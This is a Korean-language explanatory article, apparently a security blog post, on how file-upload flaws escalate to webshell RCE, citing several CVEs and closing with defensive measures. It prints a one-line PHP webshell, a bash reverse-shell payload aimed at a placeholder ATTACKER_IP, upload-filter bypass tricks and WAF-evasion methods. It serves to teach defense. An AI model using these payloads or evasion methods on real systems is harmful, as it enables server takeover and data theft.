파일 업로드 취약점으로 웹쉘이 서버에 업로드되면, 공격자는 서버가 해석 가능한 스크립트 파일(PHP, JSP, ASP 등)을 웹 루트 디렉토리에 저장한 뒤 해당 파일에 HTTP 요청을 보내 서버 사이드에서 임의의 OS 명령어를 실행하게 함으로써 RCE(원격 코드 실행)를 달성한다. 단순한 파일 저장을 넘어 서버의 제어권을 완전히 획득하는 치명적인 공격 경로다.
파일 업로드 취약점 RCE 과정과 킬체인의 메커니즘
파일 업로드 취약점이 원격 코드 실행(RCE)으로 진화하는 과정은 단순한 파일 전송이 아니라 체계적인 킬체인을 따른다. 가장 먼저 공격자는 서버의 파일 검증 로직을 우회하여 악성 스크립트가 포함된 웹쉘 파일을 업로드한다. 이후 업로드된 파일이 웹 서버의 실행 권한이 있는 디렉토리(Web Root)에 물리적으로 저장되어야 하고, 공격자가 해당 파일의 URL 경로로 직접 접근해 서버가 코드를 실행하도록 트리거하는 단계를 거친다. 마지막으로 단순한 명령어 실행을 넘어 리버스 셸(Reverse Shell)로 공격자의 로컬 환경과 서버를 연결해 완전한 시스템 권한 탈취를 시도한다.
최근 취약점 사례를 보면 이런 경로가 무척 다양하게 나타난다. CVE-2024-53677(Apache Struts)는 파일 업로드 경로 순회(Path Traversal)로 웹 루트에 웹쉘을 배치해 RCE를 달성했고, 2024년 12월 10일에 패치가 릴리스되었다. CVE-2024-29272(VvvebJs) 사례에서는 save.php 내의 sanitizeFileName() 함수가 파일명과 타입을 제대로 검증하지 못해 PHP 웹쉘이 업로드됐으며, 이는 EPSS 악용 확률 89.26%, CVSS 6.5라는 높은 위험도를 기록했다.
단계별 업로드 검증 우회 기법 및 상세 전략
서버가 구현한 보안 필터링을 무력화하려 공격자들은 다각적인 우회 기법을 쓴다. 단순한 확장자 체크만으로는 부족하다. 서버의 파싱 방식과 운영체제 특성을 이용한 변칙적 공격이 이어진다.
-
확장자 및 파일명 우회:
.php가 차단된 경우.php5,.phtml,.phar,.inc와 같은 대체 확장자를 사용하거나, 대소문자를 혼용한.pHp형태를 시도한다.file.php.처럼 후행 점(trailing dot)을 추가해 검증을 통과시킨 뒤 서버가 이를 제거하고.php로 저장하게 만드는 기법이 CVE-2024-21546(UniSharp Laravel Filemanager)에서 확인됐다. 널 바이트(%00)를 삽입해file.php%00.png형태로 전송하면 검증기는 PNG로 인식하지만 저장 시에는 PHP로 처리된다.file.png.php같은 이중 확장자 기법도 빈번하게 쓰인다. -
Content-Type 및 매직 넘버 우회: HTTP 요청 헤더의
Content-Type을image/png나application/octet-stream으로 위조해 서버를 기만한다. 더 정교한 공격에서는 파일의 시작 부분에 PNG 시그니처인\x89PNG\r\n\x1a\n를 삽입하고 그 뒤에 PHP 페이로드를 추가하는 매직 넘버 우회 기법을 사용한다. 특히 이미지 리사이징이나 압축 환경에서도 코드가 살아남도록 PNG의 IDAT, PLTE, tEXt 청크 내부에 페이로드를 넣거나, GIFAR 같은 폴리글롯(Polyglot) 파일을 만들어 여러 포맷의 검증을 동시에 통과시킨다. -
경로 및 인코딩 우회: CVE-2023-45878(Gibbon LMS) 사례처럼 인증 없는 엔드포인트에서 데이터를 base64로 디코딩해 임의 경로에 파일을 저장하는 방식이 사용된다.
php://filter/convert.base64-encode/resource=uploads/shell.php같은 PHP 래퍼 기법을 쓰면 브라우저가 렌더링하지 못하는 PHP 소스코드를 base64로 추출해 낸다.
| 우회 유형 | 주요 기법 | 공격 원리 | 관련 CVE/사례 |
|---|---|---|---|
| 확장자 우회 | Trailing Dot, 이중 확장자 | 검증 단계와 저장 단계의 파일명 처리 차이 이용 | CVE-2024-21546 |
| 타입 우회 | Magic Number, Polyglot | 파일 헤더 시그니처 위조를 통한 MIME 타입 기만 | – |
| 경로 우회 | Path Traversal | `../` 등을 이용해 웹 루트 또는 시스템 디렉토리 진입 | CVE-2024-53677 |
| 인증 우회 | Unauthenticated Upload | 인증 절차 없는 엔드포인트의 검증 미흡 악용 | CVE-2024-58349 |
웹쉘 실행 트리거와 RCE 달성을 위한 최종 경로
파일이 성공적으로 업로드됐다 하더라도, 해당 파일이 서버에서 실행 가능한 상태로 존재해야 RCE가 성립한다. 공격자는 업로드된 파일이 웹 서버가 서빙하는 디렉토리인 /var/www/html/uploads/나 /storage/files/ 등에 저장되었는지 확인한다. 만약 저장 경로가 웹 루트 외부라면 Path Traversal 취약점을 결합해 ../../../var/www/html/shell.php처럼 경로를 조작해 실행 가능 영역으로 파일을 밀어 넣는다. ZIP이나 TAR 압축 파일을 업로드하는 경우, 압축 해제 시 심볼릭 링크나 디렉토리 순회 경로가 포함된 파일명으로 안전한 디렉토리를 탈출하는 기법이 동원된다.
웹쉘이 배치되면 공격자는 GET /uploads/shell.php?cmd=id처럼 HTTP 요청을 보내 코드를 실행시킨다. 이때 서버는 www-data 같은 웹 서버 프로세스 권한으로 명령을 수행한다. 최소한의 웹쉘 예시인 <?php system($_GET['cmd']); ?>는 URL 파라미터로 시스템 명령을 직접 전달받아 실행한다.
여기서 더 나아가 공격자는 지속적 접근을 위해 리버스 셸을 구성한다. system('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'); 같은 페이로드로 서버가 공격자의 IP로 연결을 요청하게 만든다. 최근에는 AV(백신) 탐지를 피하려 WebSocket 기반 리버스 셸을 쓰기도 한다. 디스크에 파일 흔적을 남기지 않으려 웹쉘 코드를 세션 변수에 저장한 뒤 eval()로 실행하는 Loader Shell 기법으로 SOC 로그 분석을 회피하기도 한다.
WAF 및 보안 솔루션 우회 전략과 실무 방어 대책
현대적인 환경에서는 WAF(웹 애플리케이션 방화벽)이 웹쉘의 전형적인 키워드나 패턴을 탐지한다. 이에 맞서 공격자들은 교묘한 우회 전략을 펼친다.
첫째, PHP의 동적 함수 호출을 활용한다. system 같은 위험 함수명을 직접 쓰지 않고 $f="system"; $f("whoami");처럼 문자열 변수로 저장 후 호출하거나 배열 조합으로 함수명을 만들어 정적 분석을 피한다. 둘째, WAF가 탐지하는 웹쉘 인터페이스의 특정 키워드(b374k, r57 등)를 무작위 문자열로 치환해 HTTP 응답에서의 탐지를 막는다. 셋째, JavaScript 기반의 AES-256 암호화 통신을 구축한다. Secret과 IV를 매 세션마다 동적으로 생성해 브라우저 localStorage와 서버 세션에 저장한다. 그러면 WAF가 페이로드의 내용을 전혀 읽어내지 못한다. 특히 Google Cloud Armor WAF는 POST Body가 8KB를 초과하면 스캔하지 않는 정책을 악용해 8KB 이상의 정크 데이터를 패딩하는 식으로 스캔을 회피하는 사례가 보고됐다.
이런 공격을 막기 위한 실무 방어 대책은 다음과 같다.
- 파일 저장 경로의 분리: 업로드된 파일을 웹 루트 외부의 독립적인 스토리지나 S3 같은 객체 스토리지에 저장해 실행 가능성을 원천 차단한다.
- 실행 권한 제거: 업로드 디렉토리에
noexec옵션을 설정하거나, 웹 서버 설정에서 해당 디렉토리 내의 스크립트 실행 권한을 완전히 제거한다. - 화이트리스트 기반 검증: 단순 확장자 체크가 아닌, 허용된 확장자 리스트(White-list)만을 허용하고 파일 내용을 바이너리 수준에서 엄격하게 검증한다.
- 파일명 난독화: 업로드된 파일명을 서버 측에서 임의의 UUID 등으로 변경해 저장한다. 공격자가 업로드된 파일의 정확한 경로를 추측해 접근하는 것을 막는다.
파일 업로드 취약점은 단순한 기능적 결함이 아니다. 서버 전체의 권한을 상실하게 만드는 RCE의 핵심 경로다. 최신 CVE 사례에서 보듯 검증 미흡, 경로 순회, WAF 우회 기법이 복합적으로 얽혀 작용한다. 개발 단계부터 파일 저장소의 격리와 실행 권한 제어라는 심층 방어 전략을 세우는 것이 필수다. 현재 운영 중인 서비스의 파일 업로드 로직을 재검토하고, 오픈소스 패키지나 테마의 업데이트 상태를 점검해 잠재적 RCE 경로를 차단하는 것이 시급하다.